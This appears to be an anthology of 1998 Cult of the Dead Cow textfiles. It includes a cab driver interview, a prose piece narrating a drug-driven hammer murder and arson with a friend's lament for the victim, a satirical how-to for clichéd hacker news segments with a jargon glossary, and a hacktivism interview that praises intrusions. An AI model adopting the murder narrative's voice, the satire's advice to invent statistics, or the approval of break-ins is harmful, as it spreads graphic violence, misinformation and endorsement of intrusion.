East Coast. I nodded and kept driving, then out of nowhere she was
leaning into the front seat saying "You're so sweet! You're such a
sweetheart! You're the nicest cab driver I've ever had! Most other
drivers would have at least asked me for a blowjob by now!" I was
stunned for a second. Then I choked and said "Um, that hadn't really
occurred to me. I mean, we were just talking about work. I uh..."
Then I started wondering if I was weird for not asking her, or if
she was crazy, or what. We arrived at her house, the meter said
twelve dollars and she asked me if I had change for a hundred dollar
bill. I never have change for a hundred dollar bill. Not even if I
really do have change for a hundred dollar bill. You know?
Driver: Yeah. I know.
G.A.: So I said "No," trying to sound as annoyed as possible and she said
she had to run into the house. She left her jacket in the car and
then came back out after a minute and handed me a hundred dollar
bill. I started to say that I didn't have change, but she cut me off
and said "Keep the change." I asked her if she was sure and she said,
"Yep, stay sweet" or something like that and started to walk away.
She turned around before she got to the house and said "That's the
biggest tip you've ever gotten right?"
Driver: Ha! She wanted to make sure!
G.A.: Yeah, it was really strange.
Driver: People want to make some sort of impression on you even when it's a
somewhat anonymous situation.
G.A.: There's this weird class thing that happens too. It seems like most
people who take cab rides assume that the driver is from a lower
class than they are, and that means they can either treat you like a
servant or they figure that you'll do anything for money.
Driver: I quickly end that shit.
G.A.: Yeah, I don't usually say anything to people, but it comes up a lot
that I've been to college and people always ask me why I'm driving a
cab. And I just tell them that I like it, that it's kind of a fun
job. Every once in a while I'll have someone in the back of my cab
talking about something that I know a lot about, like computers or
desktop publishing or something and I'll wait for an opportunity to
correct them on something, or offer up an answer to a question
they're asking the other person. It's really fun when it's something
really nerdy like a Unix shell account discussion or something. It
really hurts their minds when I can participate in a conversation
with them about something they can't comprehend a cab
driver knowing anything about. But you know, it seems like most
people want to ask me "What else do you do?" I don't want to talk
about Cool Beans! all the time, so sometimes I make something up and
flat out lie to them.
[end]
Cool Beans! 3181 Mission #113 SF CA 94110 http://www.coolbeans.com
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...presents... Dark Harvest
by Sangfroid
7/15/1998-#359
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I feel the need... But I'm not addicted.
that's for them boys
shooting the heroin in their arms...
I just smoke up a few times a day
is all.
I scratch my dirty arm and
laugh softly to myself as I watch
the young boy walk up the
sidewalk to his house.
these strange kids wearing their black
clothes and dying their hair black never cease to amaze me.
don't they understand this is a violent neighborhood? in this
jungle, the strong survive and the weak are broken. hrmph..
well, one more step and he'll be up to his gate...
I slowly walk up behind the boy, and call him by name.
The boy turns to respond, sees it's me, his building's repairman, and
gives me a timid smile.
That's right, just a little job, your landlord sent me...
The boy looks unsure, but lets me in the small carriage apartment
anyway...
I slowly reach down and grab the handle of my hammer...
I see the spot I need, theArcOfTheSwingComesFull!...the
claw of the hammer is buried in the boy's skull...the blood...SHIT!
The blood! Must have really buried it deep...blood is spattering on me...
The boy is still kickin', damn...
Damn! I feel the need...must hurry...
I knew I'd have to cover my ass, I heard
some of the other customers at my dealer talkin' bout how they
got rid of the last body they rolled.
Tying the boy's now twitching arms behind his back,
I grab the small mattress and box springs off of the bed,
and drag it over the body.
Can't get distracted, I know what I'm here for, grabbing my bag
I fill it with the boy's large collection of music CDs, his watch,
and some other trinkets I know the pawn shop can't trace.
Oh! The bike, can't forget the bike...need transportation.
That'll get me through the week, at least $500.00 worth of
merchandise for the pawn shop..
Now, for the finishing touches...gasoline on the mattress, my ever-
present zippo...
Off to the pawn shop...then the dealer, shit..gotta get the blood out of
these pants.
I'm not addicted.
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Sure, I'd seen William around New Orleans, but goths here are a dime a
dozen. They wash in and out of town like Mardi Gras beads discarded by drunken tourists.
See, William and I were 'virtual friends': we spoke more on IRC than when
we would briefly meet out, or when passing on Decatur street.
Last week someone decided William's life was worth 140 CDs, a watch,
and a bicycle. After having his skull crushed with a hammer, his hands
were bound behind his back, his mattress thrown over his dead body and set
afire.
The night before that animal took a claw hammer to William's skull,
William asked me what making love to a woman was like.
He had never been with a woman, never had a girlfriend, or felt the
warmth of a woman's body in the morning lying next to him. I told him,
"Ah, William, don't you worry yourself...you are young, you'll have plenty
of time to get you some...relax, enjoy your youth while you can...don't be
in a hurry."
I think I'm going to go find a bottle of Bombay Sapphire.
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7/15/1998-#360
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Eventually it happens to everybody. The producer asks you to put
together a segment on computer crime or the hacker subculture. Sounds easy
enough. You already have a couple ideas. And luckily you have that
friend-of-a-friend who knows that hacker who went to jail.
&nbsp;
But once you start actually writing, you realize that your script is
sounding as trite as anything you've ever seen. No matter how much you
try to jazz it up, it looks like every other hacker spot you've seen.
Pretty soon you're downright desperate for ideas.
&nbsp;
Here's a suggestion: don't agonize over what will end up being just
another derivative news piece anyway. Instead, let this document help
you produce yet another mediocre story about computer hackers.
&nbsp;
&nbsp;
TABLE OF CONTENTS
&nbsp;<A HREF="cDc-0360.html#TITLE">
TITLE</A><A HREF="cDc-0360.html#TOPIC">
TOPIC</A><A HREF="cDc-0360.html#IMPENDING THREATS">
IMPENDING THREATS</A><A HREF="cDc-0360.html#STATISTICS">
STATISTICS</A><A HREF="cDc-0360.html#THE LEAD">
THE LEAD</A><A HREF="cDc-0360.html#MOVIE CLIPS">
MOVIE CLIPS</A><A HREF="cDc-0360.html#ABOUT DEFINITIONS">
DEFINITIONS</A><A HREF="cDc-0360.html#MONEY SHOTS">
MONEY SHOTS</A><A HREF="cDc-0360.html#ANIMATIONS">
ANIMATIONS</A><A HREF="cDc-0360.html#INTERVIEWS">
INTERVIEWS</A><A HREF="cDc-0360.html#ABOUT SHOOTING YOUR SUBJECTS">
SHOOTING YOUR SUBJECTS</A>
<A HREF="cDc-0360.html#computer hackers">Computer Hackers</A>
<A HREF="cDc-0360.html#SETTINGS HACKER">Settings</A>
<A HREF="cDc-0360.html#INSERTS HACKER">Inserts</A>
<A HREF="cDc-0360.html#law enforcement officials">Law Enforcement Officials</A>
<A HREF="cDc-0360.html#SETTINGS FEDS">Settings</A>
<A HREF="cDc-0360.html#INSERTS FEDS">Inserts</A>
<A HREF="cDc-0360.html#security experts">Security Experts</A>
<A HREF="cDc-0360.html#SETTINGS SECURITY">Settings</A>
<A HREF="cDc-0360.html#INSERTS SECURITY">Inserts</A><A HREF="cDc-0360.html#THE CLOSING">
The Closing</A>
&nbsp;<A HREF="cDc-0360.html#APPENDIX A">
Appendix A</A>: Statistics<A HREF="cDc-0360.html#APPENDIX B">
Appendix B</A>: Interview Subjects<A HREF="cDc-0360.html#APPENDIX C">
Appendix C</A>: Vernhackular
<HR NOSHADE>
<A NAME="TITLE"></A><B>TITLE</B>
&nbsp;
Start by selecting the working title of your piece. In many news
organizations, the title isn't even chosen by the producer of the piece,
so it's often a waste of time to come up with something good, just to
have it retitled at the last minute. And even if you DO get to choose
your own title, it doesn't matter. Nobody remembers them.
&nbsp;
Regardless, it's easier to avoid writer's block once you have a title.
Here are some examples to get you thinking. (Of course, if you're really
short on time, just crib one without modification.)
&nbsp;
- The Cyberwarriors
- At Your Digital Doorstep
- The Digitally Depraved
- Hacking The Planet
- How Secure Are You Really?
- Is Your Data Safe?
- Dialing for Mayhem
&nbsp;
&nbsp;
<A NAME="TOPIC"></A><B>TOPIC</B>
&nbsp;
Now choose a topic corresponding to a recent computer crime. This can be
very easy. Just check out the AntiOnline web site for recent hacker
news. The site is written for the layperson with some understanding of
vernhackular. &lt;<A HREF="http://www.antionline.com/">http://www.antionline.com/</A>&gt;
&nbsp;
If AntiOnline doesn't help, then this can be hard. Check the newspapers,
magazines, chat boards... ferret out some recent computer crimes. If you
can find a fresh event falling into one of these categories, write it
down (if you don't have time for that, then just pick one that sounds good):
&nbsp;
- Banking systems/ATM network penetration
- Cryptography
- Cyber terrorism/electronic pearl harbor
- Hacktivism
- Identity theft
- Military or Fortune 100 systems penetration
- Online privacy
- Personal data theft
- Proliferation of Increasingly Sophisticated Hacking Tools
- International Hacker Gatherings
&nbsp;
&nbsp;
<A NAME="IMPENDING THREATS"></A><B>IMPENDING THREATS</B>
&nbsp;
The phrase "electronic Pearl Harbor" has crept into the national
consciousness. It encompasses the commonly-cited worst case scenarios in
the computer hacking sphere. This set of impending cataclysms includes
the disruption or obliteration of any the following computer systems:
&nbsp;
- Military sites protecting nuclear, biological, or chemical agents
- Air Traffic Control systems
- Communications satellites
- Interstate power grids
- 911 systems
- Metropolitan mass transit systems
- Hospital systems (patient record databases)
- National credit databases
- The Internet backbone itself
&nbsp;
&nbsp;
<A NAME="STATISTICS"></A><B>STATISTICS</B>
&nbsp;
You know the deal with statistics: no one can verify them, so don't worry
about quoting your sources. They're just guesses anyway. Well, this
wisdom is ESPECIALLY true in the case of computer crime.
&nbsp;
So grab a useful statistic from a print story, or use one of those
provided in <A HREF="cDc-0360.html#APPENDIX A">Appendix A</A>. In a pinch you can just make something up. No
one will have any idea.
&nbsp;
&nbsp;
<A NAME="THE LEAD"></A><B>THE LEAD</B>
&nbsp;
If you don't have time to write your own, try this sure-fire intro.
&nbsp;
"[CYBER TERRORISM]. With the recent [SHUTDOWN OF THE PUBLIC LIBRARY
SYSTEM], it's been on everybody's mind. We've all heard stories of
computer hackers [DISRUPTING AIR TRAFFIC CONTROL COMPUTERS] and
[DISABLING 911 SYSTEMS], but just how big a problem is this? According
to statistics, [20 MILLION HACKS ARE PERPETRATED EACH YEAR]. With odds
like that, it makes you wonder: how safe are we really?"
&nbsp;
&nbsp;
<A NAME="MOVIE CLIPS"></A><B>MOVIE CLIPS</B>
&nbsp;
Consider the use of a movie clip to hook your audience right away. At
least some of these films are familiar to most of your audience, even the
ones who don't have computers.
&nbsp;
Grab a suitable sequence from one of the following flicks and open your
story with it.
&nbsp;
- <A HREF="http://us.imdb.com/Title?GoldenEye+(1995)">Goldeneye</A>
- <A HREF="http://us.imdb.com/Title?Hackers">Hackers</A>
- <A HREF="http://us.imdb.com/Title?Lawnmower+Man,+The+(1992)">Lawnmower Man</A>
- <A HREF="http://us.imdb.com/Title?Net,+The+(1995)">The Net</A>
- <A HREF="http://us.imdb.com/Title?Terminator+2">Terminator 2</A>
- <A HREF="http://us.imdb.com/Title?Real+Genius">Real Genius</A>
- <A HREF="http://us.imdb.com/Title?Sneakers">Sneakers</A>
- <A HREF="http://us.imdb.com/Title?Speed+2">Speed 2</A>
- <A HREF="http://us.imdb.com/Title?Superman+III+(1983)">Superman III</A>
- <A HREF="http://us.imdb.com/Title?Wargames">Wargames</A>
- <A HREF="http://us.imdb.com/Title?Armchair+Hacker,+The">The Armchair Hacker</A>
- <A HREF="http://us.imdb.com/Title?Tron+(1982)">Tron</A>
&nbsp;
&nbsp;
<A NAME="ABOUT DEFINITIONS"></A><B>ABOUT DEFINITIONS</B>
&nbsp;
Explain the technical jargon to your audience as each term arises. Your
intro may require the use of one or more terms, but resist the urge to
explain everything at once. It's boring, and it won't work anyway.
&nbsp;
Ask your interview subjects to explain any jargon they use. While
they're at it, ask them to explain the jargon used by anyone you
interviewed previously. Someone else may be better at explaining
something than the person who actually used the term.
&nbsp;
If an explanation differs substantially from that offered in <A HREF="cDc-0360.html#APPENDIX C">Appendix C</A>,
use the one offered by your source. Things change so rapidly on the
Internet that words are often redefined.
&nbsp;
&nbsp;
<A NAME="MONEY SHOTS"></A><B>MONEY SHOTS</B>
&nbsp;
These are the clips of hackers sharing the fruits of their labor. Your
story should have at least one of these.
&nbsp;
- Hacked web sites (FBI, CIA, DOJ, NASA, etc.)
- Purloined data scrolling across monitor
- Screenful of cracked passwords
&nbsp;
&nbsp;
<A NAME="ANIMATIONS"></A><B>ANIMATIONS</B>
&nbsp;
If you need them, here are some tried-and-true ideas for CG elements.
&nbsp;
- Packets served across the Internet
- Satellite hacking
- Virus infecting files
- Files being deleted
- Calls being traced
&nbsp;
&nbsp;
<A NAME="INTERVIEWS"></A><B>INTERVIEWS</B>
&nbsp;
There are just three categories of subjects worthy of on-camera
interviews: computer hackers, law enforcement officials, and security
experts.
&nbsp;
Whenever you interview any of these subjects, you must determine their
credentials. By this we mean the following:
&nbsp;
* number of years in their respective roles
* famous exploits
* membership in appropriate organizations
* authorship of any books or articles on the topic
* relevant jail time
* whether the subject has been featured in any previous interviews
&nbsp;
&nbsp;
<A NAME="ABOUT SHOOTING YOUR SUBJECTS"></A><B>ABOUT SHOOTING YOUR SUBJECTS</B>
&nbsp;
Just four simple rules, all of which you should already know.
&nbsp;
Rule number one: always shoot the subject working at a computer. This is
absolutely crucial, never omit it.
&nbsp;
Rule number two: conduct the interview in the subject's habitat, but away
from the computer.
&nbsp;
Rule number three: get lots of closeups. Room decorations, computer
systems, keyboards, bookshelves, anything visually appealing. You will
need these for cutaways.
&nbsp;
Rule number four: get full coverage on the subject. This can mean more
than closeups and reverse shots. Shoot ECUs of prominent jewelry,
t-shirt logos, badges, holsters, ID tags, whatever. More cutaway material.
&nbsp;
&nbsp;
<A NAME="computer hackers"></A>computer hackers
----------------
&nbsp;
<A NAME="SETTINGS HACKER"></A>SETTINGS
&nbsp;
- hacker in his habitat
- anti-Microsoft propaganda (posters, bumper stickers, etc.)
- pro-UNIX propaganda
- 2600 magazine
- Phrack
&nbsp;
- anonymous hacker in nondescript hotel room
- features obliterated
- silhouette against scary backlight
- mosaic face
&nbsp;
- hacker conventions
- Defcon
- Hohocon
- HOPE
- Summercon
&nbsp;
- dumpster
&nbsp;
- bank of payphones
&nbsp;
&nbsp;
<A NAME="INSERTS HACKER"></A>INSERTS
&nbsp;
- offbeat grooming &amp; wardrobe
- unusual hairdos
- body piercings
- tattoos
- 2600 t-shirt
- leather jacket
&nbsp;
- equipment
- computers, plural
- keyboards
- CRTs
- misc. gadgetry
&nbsp;
- software tools
- L0phtCrack
- Satan
- Back Orifice
&nbsp;
- internet chat rooms
- #hack
- #cDc
&nbsp;
&nbsp;
<A NAME="law enforcement officials"></A>law enforcement officials
-------------------------
&nbsp;
FBI agents, Secret Service agents, local police officers, anyone from the
Department of Justice, local district attorneys, etc.
&nbsp;
&nbsp;
<A NAME="SETTINGS FEDS"></A>SETTINGS
&nbsp;
- server room
- cubicle
&nbsp;
<A NAME="INSERTS FEDS"></A>INSERTS
&nbsp;
- building entrance
- nametag
- badge
- gun
- bookshelves
&nbsp;
&nbsp;
<A NAME="security experts"></A>security experts
----------------
&nbsp;
These come in two flavors: computer security consultants, and computer
privacy advocates.
&nbsp;
Security consultants (usually themselves former hackers or law
enforcement) are paid consultants who sell their insight into the
methodology and ideology of the typical hacker. Usually self-employed.
&nbsp;
Computer privacy advocates are private individuals who speak out publicly
regarding threats to personal liberty in cyberspace. Favorite topics
include: export restrictions on certain cryptographic materials, the
validity of various data encryption schemes, and the potential
vulnerability of critical information systems.
&nbsp;
&nbsp;
<A NAME="SETTINGS SECURITY"></A>SETTINGS
&nbsp;
- server room
- telephone equipment room
- cubicle
&nbsp;
<A NAME="INSERTS SECURITY"></A>INSERTS
&nbsp;
- storefront / sign
- bookshelves
&nbsp;
&nbsp;
&nbsp;
<A NAME="THE CLOSING"></A><B>THE CLOSING</B>
&nbsp;
Nothing special here. Just a few sentences that re-emphasize the topic.
Remember that no matter the precise issue, the general message should be
to fear the relentless and unstoppable legion of computer hackers.
&nbsp;
Perhaps you could close with an epigram. In which case, you should crack
open <A HREF="http://www.columbia.edu/acis/bartleby/bartlett/">Bartlett's Quotations</A>. Try one of these topics: COMPUTER, DANGER,
MENACE, PERIL, RISK, THREAT, TREACHERY, VULNERABLE.
&nbsp;
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<A NAME="APPENDIX A"></A><B>APPENDIX A</B> - STATISTICS
&nbsp;
&lt;<A HREF="http://cnn.com/TECH/computing/9804/06/computer.security/">http://cnn.com/TECH/computing/9804/06/computer.security/</A>&gt;
Nearly 80 percent of U.S. businesses have been victims of computer crimes.
58 percent of Fortune 1000 companies have experienced computer
break-ins. 18 percent of that group suffered more than $1 million in losses.
&nbsp;
&nbsp;
&lt;<A HREF="http://www.defcon.org/TEXT/5/larrylange-eetimes-winn.html">http://www.defcon.org/TEXT/5/larrylange-eetimes-winn.html</A>&gt;
According to the FBI, 122 countries across the world currently have
online hacking capabilities.
&nbsp;
We know that in the neighborhood of 20 million hacks a year are occurring
worldwide.
&nbsp;
&nbsp;
&lt;<A HREF="http://www.technopolitics.com/scripts/tp06-06-97.html">http://www.technopolitics.com/scripts/tp06-06-97.html</A>&gt;
The average cyberheist nets $250,000 with a less than one
percent rate of conviction.
&nbsp;
Only 17 percent of the major corporations and financial institutions that
have been intruded actually report it.
&nbsp;
75 percent of the Fortune 500 companies have been successfully penetrated.
The average loss that they concede is about $100,000.
&nbsp;
The FBI estimates that the total losses from these electronic rip offs
range from a rock bottom figure of $500 million a year up to $10 billion.
&nbsp;
&nbsp;<A HREF="http://www.cultdeadcow.com/news/medialist.htm">
cDc Media List</A>
_Rocky Mountain News_, August 18, 1996, "Air Force battles computer hackers",
pg 42A. Hundreds of thousands of times a year, the Cyberwarrior
[the U.S. Air Force Information Warfare Center] defends the nation's secrets
from the members of the Legion of Doom and the CULT of the DEAD COW in a
battlefield that spans the globe.
&nbsp;
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<A NAME="APPENDIX B"></A><B>APPENDIX B</B> - INTERVIEW SUBJECTS
&nbsp;
Try these organizations' web sites for up-to-date contact info.
&nbsp;
&nbsp;
HACKERS
&nbsp;
- 2600 Magazine
&lt;<A HREF="http://www.2600.com/">http://www.2600.com/</A>&gt;
&nbsp;
- Chaos Computer Club
&lt;<A HREF="http://www.ccc.de/">http://www.ccc.de/</A>&gt;
&nbsp;
- Cult of the Dead Cow
&lt;<A HREF="http://www.cultdeadcow.com/">http://www.cultdeadcow.com/</A>&gt;
&nbsp;
- L0pht Heavy Industries
&lt;<A HREF="http://www.l0pht.com/">http://www.l0pht.com/</A>&gt;
&nbsp;
- <A HREF="http://www.newhackcity.net/">New Hack City</A>
&lt;<A HREF="http://www.newhackcity.net/">http://www.newhackcity.net/</A>&gt;
&nbsp;
- Phrack
&lt;<A HREF="http://www.phrack.com/">http://www.phrack.com/</A>&gt;
&nbsp;
- r00t
&lt;<A HREF="http://www.r00t.org/">http://www.r00t.org/</A>&gt;
&nbsp;
&nbsp;
LAW ENFORCEMENT
&nbsp;
- Federal Bureau of Investigation
&lt;<A HREF="http://www.fbi.gov/">http://www.fbi.gov/</A>&gt;
&nbsp;
- Secret Service
&lt;<A HREF="http://www.treas.gov/usss/">http://www.treas.gov/usss/</A>&gt;
&nbsp;
- San Jose Police Department
&lt;<A HREF="http://www.sjpd.org/">http://www.sjpd.org/</A>&gt;
&nbsp;
&nbsp;
SECURITY EXPERTS
&nbsp;
- Cypherpunks
&lt;<A HREF="ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html">ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html</A>&gt;
&nbsp;
- Electronic Frontier Foundation
&lt;<A HREF="http://www.eff.org/">http://www.eff.org/</A>&gt;
&nbsp;
- Bruce Schneier
&lt;<A HREF="http://www.counterpane.com/">http://www.counterpane.com/</A>&gt;
&nbsp;
- Tsutomu Shimomura (<A HREF="mailto:tsutomu@sdsc.edu">tsutomu@sdsc.edu</A>)
&lt;<A HREF="http://www.takedown.com/">http://www.takedown.com/</A>&gt;
&nbsp;
- Cliff Stoll (<A HREF="mailto:stoll@ocf.berkeley.edu">stoll@ocf.berkeley.edu</A>)
&lt;<A HREF="http://www.ocf.berkeley.edu/~stoll/">http://www.ocf.berkeley.edu/~stoll/</A>&gt;
&nbsp;
<HR>
<A NAME="APPENDIX C"></A><B>APPENDIX C</B> - VERNHACKULAR
&nbsp;
These are some of the more common vocabulary items.
&nbsp;
&nbsp;
ATTACK: a specific tactic designed to generate some kind of malfunction,
usually to grant or deny computer access -- syn. EXPLOIT
&nbsp;
BACK DOOR: Leaving behind a hidden or nonobvious method to regain system
access during subsequent visits
&nbsp;
BLACK HAT: a malicious hacker who defies the Hacker Ethic -- ant. WHITE HAT
&nbsp;
CARDING: credit card fraud, typically for mailorder goods
&nbsp;
CRACKER: contemptuous term for hacker, or abbrev. for password cracker
&nbsp;
DENIAL OF SERVICE: an attack designed to prevent the productive use of a
computer system, by overworking the computer beyond its operational limits
&nbsp;
DUMPSTER DIVING: looking through the garbage for discarded equipment,
useful information, or other materials -- syn. TRASHING
&nbsp;
EXPLOIT: see attack
&nbsp;
HACKER: a person skilled or expertised in methods of hacking computer
systems
&nbsp;
HACKER ETHIC: an informal code of conduct designed to preserve the
integrity of a hacked computer system and its contents, the terms of
which generally prohibit the contamination or destruction of valuable
data or other resources
&nbsp;
HACKING: the process of gaining unauthorized access to a computer system
&nbsp;
HACKTIVISM: a term first coined by THE CULT OF THE DEAD COW to describe one
brand of activism practiced by the <A HREF="http://www.cultdeadcow.com/cDc_files/cDc-0356.html">HONG KONG BLONDES</A>; a policy of hacking,
phreaking, or creating technology to achieve a political or social goal
&nbsp;
HANDLE: a hacker's chosen alias, or nom-de-hack
&nbsp;
MAN IN THE MIDDLE: an attack wherein a malicious agent seeks to intercept
communications between two computers and rewrite certain message contents
&nbsp;
OWNED: a computer whose security has been entirely neutralized by a hacker
&nbsp;
PACKET SNIFFER: a computer program designed to reveal the contents of all
network traffic within earshot of the computer, not just the data bound
for that particular system
&nbsp;
PASSWORD CRACKER: a computer program designed to extract the passwords of
a given system's user database, usually employing a method of brute force
or dictionary comparison
&nbsp;
PHREAK: a person skilled or expertised in methods of phone phreaking
&nbsp;
PHREAKING: manipulating the telephone system in order to reroute phone
calls, avoid billing, or otherwise defraud the phone company
&nbsp;
SECURITY THROUGH OBSCURITY: the tactic of protecting something by keeping
secret all its details
&nbsp;
SNIFFER: abbrev. for packet sniffer
&nbsp;
SOCIAL ENGINEERING: any means of convincing someone to willingly furnish
information which is unavailable to the general public, usually by posing
as someone with a legitimate need
&nbsp;
SPOOFING: making it appear that data originating from an untrusted
computer is actually coming from a trusted one
&nbsp;
TRASHING: see dumpster diving
&nbsp;
TROJAN HORSE: any piece of software intentionally infected with a virus,
and purposely provided to others
&nbsp;
VIRUS: a small computer program devised to be undetectable and duplicate
itself
&nbsp;
WAREZ: illegally-duplicated computer software products
&nbsp;
WHITE HAT: a mediagenic hacker who adheres to the Hacker Ethic -- ant.
BLACK HAT
&nbsp;
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of those thousands of youth who would not admit defeat either by man or nature
or God or death -- all this is and more seemed embodied in the history of an
odyssey unequaled in modern times."
-- Edgar Snow, _Red Star over China_
This interview was conducted at Ted's Auto Collision Bay and Fine
Dining in Toronto, on July 7th, 1998. Blondie Wong (hereafter, B)
is the Director of the Hong Kong Blondes and Oxblood Ruffin
(hereafter, O) is the Foreign Minister of the
CULT OF THE DEAD COW (cDc).
[Editor's note: This interview was referred to in Arik Hesseldahl's
July 14, 1998 WIRED NEWS article, "Hacking for Human Rights"
and the Toronto Star's July 23, 1998 article,
"Computer Hacking New Tool of Political Activism".]
O: I'm happy that this is finally coming together. I've had all kindsa
people beggin' me to speak with you. One journalist even emailed me to
suggest that he would fly anywhere in the world where I could blindfold
him and put him in the trunk of a car, then drive him to some secret
rendezvous where he would interview you.
B: It sounds like something from a movie. Are you sure he wasn't joking?
O: No. He was very sincere. I was tempted to take him up on his offer and
drive him to Detroit. "Hey, babe. Blondie couldn't make it but I've
managed to dig up Jimmy Hoffa for you."
B: I know that was a joke -- but I don't know what kind.
O: O.K., before we begin, I've gotta ask you something?
B: Yes.
O: What's up with you and those Prada loafers. Have you been reading
_Wallpaper?_ Are you dating a model? Give it up hacker man.
B: Enough. Clothes aren't important.
O: If that were true you wouldn't wear D&G suits. Face it. You're one
stylin' revolutionary.
B: I own two suits. Everything else can be put into a suitcase and that
includes my computer and personal items. I own very little.
O: You like to travel light.
B: I have to travel light.
O: You make it sound like someone is after you.
B: You know who is after.
O: O.K. Do you believe that the Government of China is looking for you?
B: I know so.
O: How do you know?
B: Our sources have alerted us. And there was the incident last August.
O: Pass. Do you still have armed guards.
B: Yes, over there.
O: Charming. He looks like a fucking troll.
B: Don't look at him. He doesn't like ...
O: Biscuits?
B: What?
O: He doesn't like white guys?
B: I am not always given suitable people.
O: Given?
B: Yes, our arrangement with [deleted] ...
O: Whoa! You shouldn't use their name.
B: Well, we have a working relationship with a group of people who are even
more outside of the law than we are.
O: That works. The enemies of my enemies are my friends.
B: What does that mean?
O: I think it's a quote from Themistocles. It means that sometimes we make
alliances based on mutual conflict with a third party. Like the U.S and
Iran. They have very little affection for each other but even less for
Iraq.
B: Just so. We share the same enemy. I like that.
O: And these law breakers provide you with armed guards?
B: That and other things. I prefer more to use their help to move people in
and out of the country.
O: You mean in and out of China?
B: Yes. A few months ago one of our people was picked up ...
O You mean Lemon Li?
B: Yes, Lemon was questioned in Beijing. She was released after a few hours
but I couldn't take any chances so our associates moved her out of
China. She is in Paris now.
O: Having a woman as the head of technical operations is sort of a radical
concept for a group of hackers.
B: Half of our members are women. Half of the people in the world are
women. Lemon is our best person. The best people go where they're
needed. That's our policy.
O: How'd she get the name Lemon? Is it from that song by U2?
B: No. She loves Meadowlark Lemon, the basketball player. She got an old
videotape of the Harlem Globetrotters and played it until it turned into
a snow storm.
O: Cool. So did moving Lemon to Europe disrupt the Blonde's agenda? Has it
made things more difficult?
B: Difficult? No. She is acting more like traffic co-ordinator now. Much of
our work is happening from the inside and she steers our efforts in the
right direction.
O: What do you mean that work is being done from the inside? The inside of
what?
B: We, the Blondes have grown by about twenty members from this time last
year. Many of the newer members are government employees. Technical
people mostly.
O: Get the fuck outa here. Are you saying that these people are like moles,
that they're members of the CP?
B: Yes.
O: Holy shit. That is some serious spy candy.
B: What?
O: Nothing. It's been an interesting year. I've noticed in the computer
underground that there are a few younger groups who cite the Hong Kong
Blondes as an inspiration. There's been a lot of activity, especially
around Analyzer's crew. He seems to have influenced people who claim to
be hacking for some higher purpose. They say they want to fight child
porn and other things. Do you have an opinion about this?
B: There has been a shift in consciousness, I believe. Younger people have
a great deal of talent although they can be very awkward. But the point
is, I think they are different from the generation of hackers before
them. They want the recognition and attention, but they also want to do
something to contribute to change things in a positive way. In general,
I think what they are doing will grow and turn into something that makes
a difference.
O: Do you think the BARC [nuclear research facility in India] break-in
represents some kind of progress? Is this the sort of thing that you're
talking about?
B: Yes. That's a good example. Nuclear proliferation is still a tremendous
threat to international security, but since the fall of the Berlin Wall
and the commercial development of Russia and the other states, there's
this attitude that everything is golden. Somehow people think that the
bombs have disappeared because we don't read about them in the papers
like we used to. At any rate, I view the BARC intrusion as something
positive because it will draw attention to the situation and cause more
discussion about a serious issue.
O: Were you political in school, in China? Is that where you got your
orientation?
B: I became aware of politics at an early age. But it was just awareness.
I was never politically active, if that is how you mean it. Politics
for me has always been something disgusting, something I didn't even
want to understand.
O: Woody Allen once joked that a politician was about two steps below a
pedophile.
B: That must make him feel slightly superior to a politician. But yes,
that is more or less my feeling too.
O: So when you say that you were politically aware, what do you mean by
that?
B: In China it is impossible not to be aware of politics. The Party is
everywhere. Meetings, criticism, people being denounced. And the fear,
that is really the big thing. Imagine: you can't speak freely. Or
you're always wondering who is going to report you for having contrary
opinions. What everyone in the West takes for granted is a luxury in
China. When I was younger I never really wanted to change anything. I
just wanted to remain above it. Sounds selfish, I know. But for me, my
goals have always been more -- how is it? -- more spiritual. I was,
even now, more influenced by persons outside of political life.
O: I understand, but even the great social activists are inherently
political. Gandhi, Martin Luther King, they were both stuck with
politics.
B: Fortunately they had the advantage of dealing with democratic
institutions. My opponents would be very happy to put a bullet in the
back of my head.
O: Yet you still do this work. Why?
B: I feel that I have no choice. I have the capacity to lead and to
organize. And there is, well, I think I still have a lot of anger in me.
My father was murdered during the Cultural Revolution. He was dragged
out of our home by the Red Guard and stoned to death right in front of
us.
O: Damn. Who was us? Your family?
B: Yes. My mother and myself. After that we went to live with my uncle.
O: So why did they come to your house? Why did they want your father?
B: One of the girls from the Red Guard denounced him. So stupid. He had
given her mother some calligraphy, something Buddhist, a prayer or
something, and that was what made my father an enemy of the people.
I think they had really just come to humiliate him, but it got out of
hand.
O: So you're a kid. Your father has been, well, murdered, and you and your
mother go to live with your uncle. What can you tell me about that?
B: It was very difficult for everyone, especially my mother. She became
excessively paranoid and eventually refused to leave the house. I had
to take care of her most of the time. When I went to school a neighbor
would come to help. My uncle is a bachelor and there was no one else in
the house. Plus he often traveled.
O: What did he do?
B: That is hard to answer. He is very gifted at languages. I think that's
all I can say. I became fluent in English because of him. Yes. But I
think that's all ..
O: Understood. And school? Growing up? That sort of stuff.
B: I was asleep in school mostly. Quite bored. School, learning, these
things have always been easy for me. I look at a book, once, twice, and
that's it. I understand, and it stays. I never had to study. So the
disadvantage was that I was always bored, looking out the window, you
know. Sports were the only thing that kept me from going crazy. I
played soccer at school, but mostly, I practiced martial arts. Anyway,
it was school, sports and running home to help out. That was my life.
O: Man. Was there anything, did you ever goof off, you know, do dopey shit
with your friends when you were a teenager, or were you pretty serious?
B: Let's see. Yes. When I was fifteen I fell under the spell of Bruce
Lee. Everyone thinks of him as this great martial artist, and that is
true, but what most people forget is how funny he was. He had been a
child actor in Hong Kong and was good at falling-down humor. You know,
when you're always tripping and falling on your ass, like what Jackie
Chan does.
O: You mean sight gags? Slapstick?
B: Yes, slapstick. I found these really ugly glasses with lenses so thick,
they made your eyes look like they were under a magnifying glass. I
used to put them on and talk really loud, asking stupid questions,
tripping, and repeating the same stupid question. It was ridiculous but
people laughed. So one day we, there were three of us, we decided to go
into a bakery and try out the routine. I went in and asked directions
on how to get to the bakery we were already in. The owner just looked
at me and said that I was there, that I was in the place I was looking
for. Then I asked the same question and started bumping into things.
And this poor man, he's just looking at me like I'm an idiot. And again
he explained that I'm in the right place. Meanwhile my friends were
stealing pastries. We did that at a few different places until we
almost got caught. I like doing imitations. I can do Kramer coming
through the door.
O: Yes. I've seen the Kramer. Love the Kramer. The Kramer is good.
B: There. Everyone does that. I always hear people talking, like from
Seinfeld.
O: Yeah. It can be a bit dopey. O.K. So you're a normal kid and you do
some bakery capers. University. What was that like?
B: Well, the hardest part was getting in. At the end of high school
there's something called The Big Test. It's an examination that lasts
